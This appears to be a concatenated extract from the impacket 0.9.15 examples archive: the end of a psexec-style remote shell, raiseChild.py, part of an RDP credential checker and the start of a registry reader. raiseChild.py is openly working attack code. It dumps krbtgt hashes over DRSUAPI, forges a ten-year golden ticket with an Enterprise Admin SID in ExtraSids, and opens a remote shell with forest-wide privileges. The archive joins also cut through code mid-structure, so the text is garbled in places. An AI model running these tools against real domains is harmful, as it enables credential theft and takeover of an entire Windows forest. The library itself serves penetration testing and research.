string.replace(f,'/','\\') logging.info("Uploading %s to %s\%s" % (src_file, self.share, dst_path)) self.transferClient.putFile(self.share, pathname.decode(sys.stdin.encoding), fh.read) fh.close() except Exception, e: logging.error(str(e)) pass self.send_data('\r\n') def do_lcd(self, s): if s == '': print os.getcwd() else: os.chdir(s) self.send_data('\r\n') def emptyline(self): self.send_data('\r\n') return def default(self, line): self.send_data(line.decode(sys.stdin.encoding).encode('cp437')+'\r\n') def send_data(self, data, hideOutput = True): if hideOutput is True: global LastDataSent LastDataSent = data else: LastDataSent = '' self.server.writeFile(self.tid, self.fid, data) class RemoteStdInPipe(Pipes): def __init__(self, transport, pipe, permisssions, share=None): self.shell = None Pipes.__init__(self, transport, pipe, permisssions, share) def run(self): self.connectPipe() self.shell = RemoteShell(self.server, self.port, self.credentials, self.tid, self.fid, self.share, self.transport) self.shell.cmdloop() # Process command-line arguments. if __name__ == '__main__': # Init the example's logger theme logger.init() print version.BANNER parser = argparse.ArgumentParser(add_help = True, description = "PSEXEC like functionality example using RemComSvc.") parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') parser.add_argument('command', nargs='*', default = ' ', help='command (or arguments if -c is used) to execute at the target (w/o path) - (default:cmd.exe)') parser.add_argument('-c', action='store',metavar = "pathname", help='copy the filename for later execution, arguments are passed in the command option') parser.add_argument('-path', action='store', help='path of the command to execute') parser.add_argument('-file', action='store', help="alternative RemCom binary (be sure it doesn't require CRT)") parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line') group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)') group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) else: logging.getLogger().setLevel(logging.INFO) import re domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( options.target).groups('') #In case the password contains '@' if '@' in address: password = password + '@' + address.rpartition('@')[0] address = address.rpartition('@')[2] if domain is None: domain = '' if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: from getpass import getpass password = getpass("Password:") if options.aesKey is not None: options.k = True command = ' '.join(options.command) if command == ' ': command = 'cmd.exe' executer = PSEXEC(command, options.path, options.file, options.c, None, username, password, domain, options.hashes, options.aesKey, options.k, options.dc_ip) executer.run(address) impacket-0.9.15/examples/raiseChild.py0000700000076500000000000017625412734531507017730 0ustar betowheel00000000000000#!/usr/bin/python # Copyright (c) 2003-2016 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Author: Alberto Solino (@agsolino) # # Description: # This script implements a child-domain to forest privilege escalation # as detailed by Sean Metcalf (@PyroTek3) at https://adsecurity.org/?p=1640. We will # be (ab)using the concept of Golden Tickets and ExtraSids researched and implemented # by Benjamin Delpy (@gentilkiwi) in mimikatz (https://github.com/gentilkiwi/mimikatz). # The idea of automating all these tasks came from @mubix. # # The workflow is as follows: # Input: # 1) child-domain Admin credentials (password, hashes or aesKey) in the form of 'domain/username[:password]' # The domain specified MUST be the domain FQDN. # 2) Optionally a pathname to save the generated golden ticket (-w switch) # 3) Optionally a target to PSEXEC with Enterprise Admin privieleges to (-target-exec switch) # # Process: # 1) Find out where the child domain controller is located and get its info (via [MS-NRPC]) # 2) Find out what the forest FQDN is (via [MS-NRPC]) # 3) Get the forest's Enterprise Admin SID (via [MS-LSAT]) # 4) Get the child domain's krbtgt credentials (via [MS-DRSR]) # 5) Create a Golden Ticket specifying SID from 3) inside the KERB_VALIDATION_INFO's ExtraSids array # and setting expiration 10 years from now # 6) Use the generated ticket to log into the forest and get the krbtgt/admin info # 7) If file was specified, save the golden ticket in ccache format # 8) If target was specified, a PSEXEC shell is launched # # Output: # 1) Forest's krbtgt/admin credentials # 2) A golden ticket saved in ccache for future fun and profit # 3) PSExec Shell with Enterprise Admin privileges at target-exec parameter. # # IMPORTANT NOTE: Your machine MUST be able to resolve all the domains from the child domain up to the # forest. Easiest way to do is by adding the forest's DNS to your resolv.conf or similar # # E.G: # Just in case, Microsoft says it all (https://technet.microsoft.com/en-us/library/cc759073(v=ws.10).aspx): # A forest is the only component of the Active Directory logical structure that is a security boundary. # By contrast, a domain is not a security boundary because it is not possible for administrators from one domain # to prevent a malicious administrator from another domain within the forest from accessing data in their domain. # A domain is, however, the administrative boundary for managing objects, such as users, groups, and computers. # In addition, each domain has its own individual security policies and trust relationships with other domains. # # import random import string import logging import datetime from binascii import unhexlify, hexlify from socket import gethostbyname from struct import unpack import argparse import sys try: import pyasn1 except ImportError: logging.critical('This module needs pyasn1 installed') logging.critical('You can get it from https://pypi.python.org/pypi/pyasn1') sys.exit(1) from impacket import version from impacket.krb5.types import Principal, KerberosTime from impacket.krb5 import constants from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS, KerberosError from impacket.krb5.asn1 import AS_REP, AuthorizationData, AD_IF_RELEVANT, EncTicketPart from impacket.krb5.crypto import Key, _enctype_table, _checksum_table, Enctype from impacket.dcerpc.v5.ndr import NDRULONG from impacket.dcerpc.v5.samr import NULL, GROUP_MEMBERSHIP, SE_GROUP_MANDATORY, SE_GROUP_ENABLED_BY_DEFAULT, SE_GROUP_ENABLED from pyasn1.codec.der import decoder, encoder from impacket.examples import logger from impacket.ntlm import LMOWFv1, NTOWFv1 from impacket.dcerpc.v5.ndr import NDRSTRUCT, NDRUniConformantArray, NDRPOINTER from impacket.dcerpc.v5.dtypes import ULONG, RPC_SID, RPC_UNICODE_STRING, FILETIME, PRPC_SID, USHORT, MAXIMUM_ALLOWED from impacket.dcerpc.v5.nrpc import USER_SESSION_KEY, CHAR_FIXED_8_ARRAY, PUCHAR_ARRAY, PRPC_UNICODE_STRING_ARRAY from impacket.dcerpc.v5.rpcrt import TypeSerialization1, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_GSS_NEGOTIATE from impacket.dcerpc.v5.nrpc import MSRPC_UUID_NRPC, hDsrGetDcNameEx from impacket.dcerpc.v5.lsat import MSRPC_UUID_LSAT, hLsarOpenPolicy2, POLICY_LOOKUP_NAMES, LSAP_LOOKUP_LEVEL, hLsarLookupSids from impacket.dcerpc.v5.lsad import hLsarQueryInformationPolicy2, POLICY_INFORMATION_CLASS from impacket.dcerpc.v5 import transport, drsuapi, epm, samr from impacket.structure import Structure from impacket.smbconnection import SessionError from impacket.nt_errors import STATUS_NO_LOGON_SERVERS ################################################################################ # CONSTANTS ################################################################################ # From http://msdn.microsoft.com/en-us/library/aa302203.aspx#msdn_pac_credentials # and http://diswww.mit.edu/menelaus.mit.edu/cvs-krb5/25862 PAC_LOGON_INFO = 1 PAC_CREDENTIALS_INFO = 2 PAC_SERVER_CHECKSUM = 6 PAC_PRIVSVR_CHECKSUM = 7 PAC_CLIENT_INFO_TYPE = 10 PAC_DELEGATION_INFO = 11 PAC_UPN_DNS_INFO = 12 ################################################################################ # STRUCTURES ################################################################################ PISID = PRPC_SID # 2.2.1 KERB_SID_AND_ATTRIBUTES class KERB_SID_AND_ATTRIBUTES(NDRSTRUCT): structure = ( ('Sid', PISID), ('Attributes', ULONG), ) class KERB_SID_AND_ATTRIBUTES_ARRAY(NDRUniConformantArray): item = KERB_SID_AND_ATTRIBUTES class PKERB_SID_AND_ATTRIBUTES_ARRAY(NDRPOINTER): referent = ( ('Data', KERB_SID_AND_ATTRIBUTES_ARRAY), ) # 2.2.2 GROUP_MEMBERSHIP from impacket.dcerpc.v5.nrpc import PGROUP_MEMBERSHIP_ARRAY # 2.2.3 DOMAIN_GROUP_MEMBERSHIP class DOMAIN_GROUP_MEMBERSHIP(NDRSTRUCT): structure = ( ('DomainId', PISID), ('GroupCount', ULONG), ('GroupIds', PGROUP_MEMBERSHIP_ARRAY), ) class DOMAIN_GROUP_MEMBERSHIP_ARRAY(NDRUniConformantArray): item = DOMAIN_GROUP_MEMBERSHIP class PDOMAIN_GROUP_MEMBERSHIP_ARRAY(NDRPOINTER): referent = ( ('Data', KERB_SID_AND_ATTRIBUTES_ARRAY), ) # 2.3 PACTYPE class PACTYPE(Structure): structure = ( ('cBuffers', ' 0: try: s.waitNamedPipe(tid,pipe) pipeReady = True except: tries -= 1 time.sleep(2) pass if tries == 0: logging.critical('Pipe not ready, aborting') raise fid = s.openFile(tid,pipe,accessMask, creationOption = 0x40, fileAttributes = 0x80) return fid class Pipes(Thread): def __init__(self, transport, pipe, permissions, TGS=None, share=None): Thread.__init__(self) self.server = 0 self.transport = transport self.credentials = transport.get_credentials() self.tid = 0 self.fid = 0 self.share = share self.port = transport.get_dport() self.pipe = pipe self.permissions = permissions self.TGS = TGS self.daemon = True def connectPipe(self): try: lock.acquire() global dialect self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(), sess_port=self.port, preferredDialect=dialect) user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials self.server.login(user, passwd, domain, lm, nt) lock.release() self.tid = self.server.connectTree('IPC$') self.server.waitNamedPipe(self.tid, self.pipe) self.fid = self.server.openFile(self.tid,self.pipe,self.permissions, creationOption = 0x40, fileAttributes = 0x80) self.server.setTimeout(1000000) except Exception, e: logging.critical("Something wen't wrong connecting the pipes(%s), try again" % self.__class__) class RemoteStdOutPipe(Pipes): def __init__(self, transport, pipe, permisssions): Pipes.__init__(self, transport, pipe, permisssions) def run(self): self.connectPipe() while True: try: ans = self.server.readFile(self.tid,self.fid, 0, 1024) except: pass else: try: global LastDataSent if ans != LastDataSent: sys.stdout.write(ans) sys.stdout.flush() else: # Don't echo what I sent, and clear it up LastDataSent = '' # Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars, # it will give false positives tho.. we should find a better way to handle this. if LastDataSent > 10: LastDataSent = '' except: pass class RemoteStdErrPipe(Pipes): def __init__(self, transport, pipe, permisssions): Pipes.__init__(self, transport, pipe, permisssions) def run(self): self.connectPipe() while True: try: ans = self.server.readFile(self.tid,self.fid, 0, 1024) except: pass else: try: sys.stderr.write(str(ans)) sys.stderr.flush() except: pass class RemoteShell(cmd.Cmd): def __init__(self, server, port, credentials, tid, fid, TGS, share): cmd.Cmd.__init__(self, False) self.prompt = '\x08' self.server = server self.transferClient = None self.tid = tid self.fid = fid self.credentials = credentials self.share = share self.port = port self.TGS = TGS self.intro = '[!] Press help for extra shell commands' def connect_transferClient(self): self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port, preferredDialect=dialect) user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey, TGS=self.TGS, useCache=False) def do_help(self, line): print """ lcd {path} - changes the current local directory to {path} exit - terminates the server process (and this session) put {src_file, dst_path} - uploads a local file to the dst_path RELATIVE to the connected share (%s) get {file} - downloads pathname RELATIVE to the connected share (%s) to the current local dir ! {cmd} - executes a local shell cmd """ % (self.share, self.share) self.send_data('\r\n', False) def do_shell(self, s): os.system(s) self.send_data('\r\n') def do_get(self, src_path): try: if self.transferClient is None: self.connect_transferClient() import ntpath filename = ntpath.basename(src_path) fh = open(filename,'wb') logging.info("Downloading %s\%s" % (self.share, src_path)) self.transferClient.getFile(self.share, src_path, fh.write) fh.close() except Exception, e: logging.error(str(e)) pass self.send_data('\r\n') def do_put(self, s): try: if self.transferClient is None: self.connect_transferClient() params = s.split(' ') if len(params) > 1: src_path = params[0] dst_path = params[1] elif len(params) == 1: src_path = params[0] dst_path = '/' src_file = os.path.basename(src_path) fh = open(src_path, 'rb') f = dst_path + '/' + src_file pathname = string.replace(f,'/','\\') logging.info("Uploading %s to %s\%s" % (src_file, self.share, dst_path)) self.transferClient.putFile(self.share, pathname, fh.read) fh.close() except Exception, e: logging.error(str(e)) pass self.send_data('\r\n') def do_lcd(self, s): if s == '': print os.getcwd() else: try: os.chdir(s) except Exception, e: logging.error(str(e)) self.send_data('\r\n') def emptyline(self): self.send_data('\r\n') return def default(self, line): self.send_data(line+'\r\n') def send_data(self, data, hideOutput = True): if hideOutput is True: global LastDataSent LastDataSent = data else: LastDataSent = '' self.server.writeFile(self.tid, self.fid, data) class RemoteStdInPipe(Pipes): def __init__(self, transport, pipe, permisssions, TGS=None, share=None): Pipes.__init__(self, transport, pipe, permisssions, TGS, share) def run(self): self.connectPipe() shell = RemoteShell(self.server, self.port, self.credentials, self.tid, self.fid, self.TGS, self.share) shell.cmdloop() class RAISECHILD: def __init__(self, target = None, username = '', password = '', domain='', options = None, command=''): self.__rid = 0 self.__target = target self.__kdcHost = None self.__command = command self.__writeTGT = options.w self.__domainSid = '' self.__doKerberos = options.k self.__drsr = None self.__ppartialAttrSet = None self.__creds = {} self.__creds['username'] = username self.__creds['password'] = password self.__creds['domain'] = domain self.__creds['lmhash'] = '' self.__creds['nthash'] = '' self.__creds['aesKey'] = options.aesKey self.__creds['TGT'] = None self.__creds['TGS'] = None #if options.dc_ip is not None: # self.__kdcHost = options.dc_ip #else: # self.__kdcHost = domain self.__kdcHost = None if options.hashes is not None: lmhash, nthash = options.hashes.split(':') self.__creds['lmhash'] = unhexlify(lmhash) self.__creds['nthash'] = unhexlify(nthash) # Transform IP addresses into FQDNs if self.__target is not None: self.__target = self.getDNSMachineName(self.__target) logging.debug('getDNSMachineName for %s returned %s' % (target, self.__target)) NAME_TO_ATTRTYP = { 'objectSid': 0x90092, 'userPrincipalName': 0x90290, 'sAMAccountName': 0x900DD, 'unicodePwd': 0x9005A, 'dBCSPwd': 0x90037, 'supplementalCredentials': 0x9007D, } ATTRTYP_TO_ATTID = { 'objectSid': '1.2.840.113556.1.4.146', 'userPrincipalName': '1.2.840.113556.1.4.656', 'sAMAccountName': '1.2.840.113556.1.4.221', 'unicodePwd': '1.2.840.113556.1.4.90', 'dBCSPwd': '1.2.840.113556.1.4.55', 'supplementalCredentials': '1.2.840.113556.1.4.125', } KERBEROS_TYPE = { 1:'dec-cbc-crc', 3:'des-cbc-md5', 17:'aes128-cts-hmac-sha1-96', 18:'aes256-cts-hmac-sha1-96', 0xffffff74:'rc4_hmac', } HMAC_SHA1_96_AES256 = 0x10 def getChildInfo(self, creds): logging.debug('Calling NRPC DsrGetDcNameEx()') target = creds['domain'] if self.__doKerberos is True: # In Kerberos we need the target's name machineNameOrIp = self.getDNSMachineName(gethostbyname(target)) logging.debug('%s is %s' % (gethostbyname(target), machineNameOrIp)) else: machineNameOrIp = target stringBinding = r'ncacn_np:%s[\pipe\netlogon]' % machineNameOrIp rpctransport = transport.DCERPCTransportFactory(stringBinding) if hasattr(rpctransport, 'set_credentials'): rpctransport.set_credentials(creds['username'], creds['password'], creds['domain'], creds['lmhash'], creds['nthash'], creds['aesKey']) if self.__doKerberos or creds['aesKey'] is not None: rpctransport.set_kerberos(True) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(MSRPC_UUID_NRPC) resp = hDsrGetDcNameEx(dce, NULL, NULL, NULL, NULL, 0) #resp.dump() return resp['DomainControllerInfo']['DomainName'][:-1], resp['DomainControllerInfo']['DnsForestName'][:-1] @staticmethod def getMachineName(machineIP): s = SMBConnection(machineIP, machineIP) try: s.login('','') except Exception, e: logging.debug('Error while anonymous logging into %s' % machineIP) s.logoff() return s.getServerName() @staticmethod def getDNSMachineName(machineIP): s = SMBConnection(machineIP, machineIP) try: s.login('','') except Exception, e: logging.debug('Error while anonymous logging into %s' % machineIP) s.logoff() return s.getServerName() + '.' + s.getServerDNSDomainName() def getParentSidAndAdminName(self, parentDC, creds): if self.__doKerberos is True: # In Kerberos we need the target's name machineNameOrIp = self.getDNSMachineName(gethostbyname(parentDC)) logging.debug('%s is %s' % (gethostbyname(parentDC), machineNameOrIp)) else: machineNameOrIp = gethostbyname(parentDC) logging.debug('Calling LSAT hLsarQueryInformationPolicy2()') stringBinding = r'ncacn_np:%s[\pipe\lsarpc]' % machineNameOrIp rpctransport = transport.DCERPCTransportFactory(stringBinding) if hasattr(rpctransport, 'set_credentials'): rpctransport.set_credentials(creds['username'], creds['password'], creds['domain'], creds['lmhash'], creds['nthash'], creds['aesKey']) rpctransport.set_kerberos(self.__doKerberos) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(MSRPC_UUID_LSAT) resp = hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | POLICY_LOOKUP_NAMES) policyHandle = resp['PolicyHandle'] resp = hLsarQueryInformationPolicy2(dce, policyHandle, POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation) domainSid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical() # Now that we have the Sid, let's get the Administrator's account name sids = list() sids.append(domainSid+'-500') resp = hLsarLookupSids(dce, policyHandle, sids, LSAP_LOOKUP_LEVEL.LsapLookupWksta) adminName = resp['TranslatedNames']['Names'][0]['Name'] return domainSid, adminName def __connectDrds(self, domainName, creds): if self.__doKerberos is True or creds['TGT'] is not None: # In Kerberos we need the target's name machineNameOrIp = self.getDNSMachineName(gethostbyname(domainName)) logging.debug('%s is %s' % (gethostbyname(domainName), machineNameOrIp)) else: machineNameOrIp = gethostbyname(domainName) stringBinding = epm.hept_map(machineNameOrIp, drsuapi.MSRPC_UUID_DRSUAPI, protocol='ncacn_ip_tcp') rpc = transport.DCERPCTransportFactory(stringBinding) if hasattr(rpc, 'set_credentials'): # This method exists only for selected protocol sequences. if creds['TGT'] is not None: rpc.set_credentials(creds['username'],'', creds['domain'], TGT=creds['TGT']) rpc.set_kerberos(True) else: rpc.set_credentials(creds['username'], creds['password'], creds['domain'], creds['lmhash'], creds['nthash'], creds['aesKey']) rpc.set_kerberos(self.__doKerberos) self.__drsr = rpc.get_dce_rpc() self.__drsr.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) if self.__doKerberos or creds['TGT'] is not None: self.__drsr.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) self.__drsr.connect() self.__drsr.bind(drsuapi.MSRPC_UUID_DRSUAPI) request = drsuapi.DRSBind() request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID drs = drsuapi.DRS_EXTENSIONS_INT() drs['cb'] = len(drs) #- 4 drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 |\ drsuapi.DRS_EXT_STRONG_ENCRYPTION drs['SiteObjGuid'] = drsuapi.NULLGUID drs['Pid'] = 0 drs['dwReplEpoch'] = 0 drs['dwFlagsExt'] = 0 drs['ConfigObjGUID'] = drsuapi.NULLGUID drs['dwExtCaps'] = 127 request['pextClient']['cb'] = len(drs) request['pextClient']['rgb'] = list(str(drs)) resp = self.__drsr.request(request) # Let's dig into the answer to check the dwReplEpoch. This field should match the one we send as part of # DRSBind's DRS_EXTENSIONS_INT(). If not, it will fail later when trying to sync data. drsExtensionsInt = drsuapi.DRS_EXTENSIONS_INT() # If dwExtCaps is not included in the answer, let's just add it so we can unpack DRS_EXTENSIONS_INT right. ppextServer = ''.join(resp['ppextServer']['rgb']) + '\x00' * ( len(drsuapi.DRS_EXTENSIONS_INT()) - resp['ppextServer']['cb']) drsExtensionsInt.fromString(ppextServer) if drsExtensionsInt['dwReplEpoch'] != 0: # Different epoch, we have to call DRSBind again if logging.getLogger().level == logging.DEBUG: logging.debug("DC's dwReplEpoch != 0, setting it to %d and calling DRSBind again" % drsExtensionsInt[ 'dwReplEpoch']) drs['dwReplEpoch'] = drsExtensionsInt['dwReplEpoch'] request['pextClient']['cb'] = len(drs) request['pextClient']['rgb'] = list(str(drs)) resp = self.__drsr.request(request) self.__hDrs = resp['phDrs'] # Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges resp = drsuapi.hDRSDomainControllerInfo(self.__drsr, self.__hDrs, domainName, 2) if resp['pmsgOut']['V2']['cItems'] > 0: self.__NtdsDsaObjectGuid = resp['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid'] else: logging.error("Couldn't get DC info for domain %s" % domainName) raise Exception('Fatal, aborting') def DRSCrackNames(self, target, formatOffered=drsuapi.DS_NAME_FORMAT.DS_DISPLAY_NAME, formatDesired=drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, name='', creds=None): if self.__drsr is None: self.__connectDrds(target, creds) resp = drsuapi.hDRSCrackNames(self.__drsr, self.__hDrs, 0, formatOffered, formatDesired, (name,)) return resp def __decryptSupplementalInfo(self, record, prefixTable=None): # This is based on [MS-SAMR] 2.2.10 Supplemental Credentials Structures plainText = None for attr in record['pmsgOut']['V6']['pObjects']['Entinf']['AttrBlock']['pAttr']: try: attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp']) LOOKUP_TABLE = self.ATTRTYP_TO_ATTID except Exception, e: logging.debug('Failed to execute OidFromAttid with error %s' % e) # Fallbacking to fixed table and hope for the best attId = attr['attrTyp'] LOOKUP_TABLE = self.NAME_TO_ATTRTYP if attId == LOOKUP_TABLE['supplementalCredentials']: if attr['AttrVal']['valCount'] > 0: blob = ''.join(attr['AttrVal']['pAVal'][0]['pVal']) plainText = drsuapi.DecryptAttributeValue(self.__drsr, blob) if len(plainText) < 24: plainText = None if plainText: try: userProperties = samr.USER_PROPERTIES(plainText) except: # On some old w2k3 there might be user properties that don't # match [MS-SAMR] structure, discarding them return propertiesData = userProperties['UserProperties'] for propertyCount in range(userProperties['PropertyCount']): userProperty = samr.USER_PROPERTY(propertiesData) propertiesData = propertiesData[len(userProperty):] if userProperty['PropertyName'].decode('utf-16le') == 'Primary:Kerberos-Newer-Keys': propertyValueBuffer = unhexlify(userProperty['PropertyValue']) kerbStoredCredentialNew = samr.KERB_STORED_CREDENTIAL_NEW(propertyValueBuffer) data = kerbStoredCredentialNew['Buffer'] for credential in range(kerbStoredCredentialNew['CredentialCount']): keyDataNew = samr.KERB_KEY_DATA_NEW(data) data = data[len(keyDataNew):] keyValue = propertyValueBuffer[keyDataNew['KeyOffset']:][:keyDataNew['KeyLength']] if self.KERBEROS_TYPE.has_key(keyDataNew['KeyType']): # Give me only the AES256 if keyDataNew['KeyType'] == 18: return hexlify(keyValue) return None def __decryptHash(self, record, prefixTable=None): logging.debug('Decrypting hash for user: %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1]) rid = 0 LMHash = None NTHash = None for attr in record['pmsgOut']['V6']['pObjects']['Entinf']['AttrBlock']['pAttr']: try: attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp']) LOOKUP_TABLE = self.ATTRTYP_TO_ATTID except Exception, e: logging.debug('Failed to execute OidFromAttid with error %s, fallbacking to fixed table' % e) # Fallbacking to fixed table and hope for the best attId = attr['attrTyp'] LOOKUP_TABLE = self.NAME_TO_ATTRTYP if attId == LOOKUP_TABLE['dBCSPwd']: if attr['AttrVal']['valCount'] > 0: encrypteddBCSPwd = ''.join(attr['AttrVal']['pAVal'][0]['pVal']) encryptedLMHash = drsuapi.DecryptAttributeValue(self.__drsr, encrypteddBCSPwd) else: LMHash = LMOWFv1('', '') elif attId == LOOKUP_TABLE['unicodePwd']: if attr['AttrVal']['valCount'] > 0: encryptedUnicodePwd = ''.join(attr['AttrVal']['pAVal'][0]['pVal']) encryptedNTHash = drsuapi.DecryptAttributeValue(self.__drsr, encryptedUnicodePwd) else: NTHash = NTOWFv1('', '') elif attId == LOOKUP_TABLE['objectSid']: if attr['AttrVal']['valCount'] > 0: objectSid = ''.join(attr['AttrVal']['pAVal'][0]['pVal']) rid = unpack('H=len(TPDU)+4'), ('_TPDU','_-TPDU','self["Length"]-4'), ('TPDU',':=""'), ) class TPDU(Structure): commonHdr = ( ('LengthIndicator','B=len(VariablePart)+1'), ('Code','B=0'), ('VariablePart',':=""'), ) def __init__(self, data = None): Structure.__init__(self,data) self['VariablePart']='' class CR_TPDU(Structure): commonHdr = ( ('DST-REF',' # # Note During this phase of the protocol, the OPTIONAL authInfo field is omitted # from the TSRequest structure by the client and server; the OPTIONAL pubKeyAuth # field is omitted by the client unless the client is sending the last SPNEGO token. # If the client is sending the last SPNEGO token, the TSRequest structure MUST have # both the negoToken and the pubKeyAuth fields filled in. # NTLMSSP stuff auth = ntlm.getNTLMSSPType1('','',True, use_ntlmv2 = True) ts_request = TSRequest() ts_request['NegoData'] = str(auth) tls.send(ts_request.getData()) buff = tls.recv(4096) ts_request.fromString(buff) # 3. The client encrypts the public key it received from the server (contained # in the X.509 certificate) in the TLS handshake from step 1, by using the # confidentiality support of SPNEGO. The public key that is encrypted is the # ASN.1-encoded SubjectPublicKey sub-field of SubjectPublicKeyInfo from the X.509 # certificate, as specified in [RFC3280] section 4.1. The encrypted key is # encapsulated in the pubKeyAuth field of the TSRequest structure and is sent over # the TLS channel to the server. # # Note During this phase of the protocol, the OPTIONAL authInfo field is omitted # from the TSRequest structure; the client MUST send its last SPNEGO token to the # server in the negoTokens field (see step 2) along with the encrypted public key # in the pubKeyAuth field. # Last SPNEGO token calculation #ntlmChallenge = ntlm.NTLMAuthChallenge(ts_request['NegoData']) type3, exportedSessionKey = ntlm.getNTLMSSPType3(auth, ts_request['NegoData'], username, password, domain, lmhash, nthash, use_ntlmv2 = True) # Get server public key server_cert = tls.get_peer_certificate() pkey = server_cert.get_pubkey() dump = crypto.dump_privatekey(crypto.FILETYPE_ASN1, pkey) # Fix up due to PyOpenSSL lack for exporting public keys dump = dump[7:] dump = '\x30'+ asn1encode(dump) cipher = SPNEGOCipher(type3['flags'], exportedSessionKey) signature, cripted_key = cipher.encrypt(dump) ts_request['NegoData'] = str(type3) ts_request['pubKeyAuth'] = str(signature) + cripted_key try: # Sending the Type 3 NTLM blob tls.send(ts_request.getData()) # The other end is waiting for the pubKeyAuth field, but looks like it's # not needed to check whether authentication worked. # If auth is unsuccessful, it throws an exception with the previous send(). # If auth is successful, the server waits for the pubKeyAuth and doesn't answer # anything. So, I'm sending garbage so the server returns an error. # Luckily, it's a different error so we can determine whether or not auth worked ;) buff = tls.recv(1024) except Exception, err: if str(err).find("denied") > 0: logging.error("Access Denied") else: logging.error(err) return # 4. After the server receives the public key in step 3, it first verifies that # it has the same public key that it used as part of the TLS handshake in step 1. # The server then adds 1 to the first byte representing the public key (the ASN.1 # structure corresponding to the SubjectPublicKey field, as described in step 3) # and encrypts the binary result by using the SPNEGO encryption services. # Due to the addition of 1 to the binary data, and encryption of the data as a binary # structure, the resulting value may not be valid ASN.1-encoded values. # The encrypted binary data is encapsulated in the pubKeyAuth field of the TSRequest # structure and is sent over the encrypted TLS channel to the client. # The addition of 1 to the first byte of the public key is performed so that the # client-generated pubKeyAuth message cannot be replayed back to the client by an # attacker. # # Note During this phase of the protocol, the OPTIONAL authInfo and negoTokens # fields are omitted from the TSRequest structure. ts_request = TSRequest(buff) # Now we're decrypting the certificate + 1 sent by the server. Not worth checking ;) signature, plain_text = cipher.decrypt(ts_request['pubKeyAuth'][16:]) # 5. After the client successfully verifies server authenticity by performing a # binary comparison of the data from step 4 to that of the data representing # the public key from the server's X.509 certificate (as specified in [RFC3280], # section 4.1), it encrypts the user's credentials (either password or smart card # PIN) by using the SPNEGO encryption services. The resulting value is # encapsulated in the authInfo field of the TSRequest structure and sent over # the encrypted TLS channel to the server. # The TSCredentials structure within the authInfo field of the TSRequest # structure MAY contain either a TSPasswordCreds or a TSSmartCardCreds structure, # but MUST NOT contain both. # # Note During this phase of the protocol, the OPTIONAL pubKeyAuth and negoTokens # fields are omitted from the TSRequest structure. tsp = TSPasswordCreds() tsp['domainName'] = domain tsp['userName'] = username tsp['password'] = password tsc = TSCredentials() tsc['credType'] = 1 # TSPasswordCreds tsc['credentials'] = tsp.getData() signature, cripted_creds = cipher.encrypt(tsc.getData()) ts_request = TSRequest() ts_request['authInfo'] = str(signature) + cripted_creds tls.send(ts_request.getData()) tls.close() logging.info("Access Granted") # Init the example's logger theme logger.init() print version.BANNER parser = argparse.ArgumentParser(add_help = True, description = "Test whether an account is valid on the target host using the RDP protocol.") parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() import re domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(options.target).groups('') #In case the password contains '@' if '@' in address: password = password + '@' + address.rpartition('@')[0] address = address.rpartition('@')[2] if domain is None: domain = '' if password == '' and username != '' and options.hashes is None: from getpass import getpass password = getpass("Password:") check_rdp(address, username, password, domain, options.hashes) impacket-0.9.15/examples/registry-read.py0000700000076500000000000001163112734531507020425 0ustar betowheel00000000000000#!/usr/bin/python # Copyright (c) 2003-2016 CORE Security Technologies) # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Author: Alberto Solino (@agsolino) # # Description: A Windows Registry Reader Example # # Reference for: # winregistry.py # import sys import argparse import ntpath from binascii import unhexlify, hexlify from impacket.examples import logger from impacket import version from impacket import winregistry def bootKey(reg): baseClass = 'ControlSet001\\Control\\Lsa\\' keys = ['JD','Skew1','GBG','Data'] 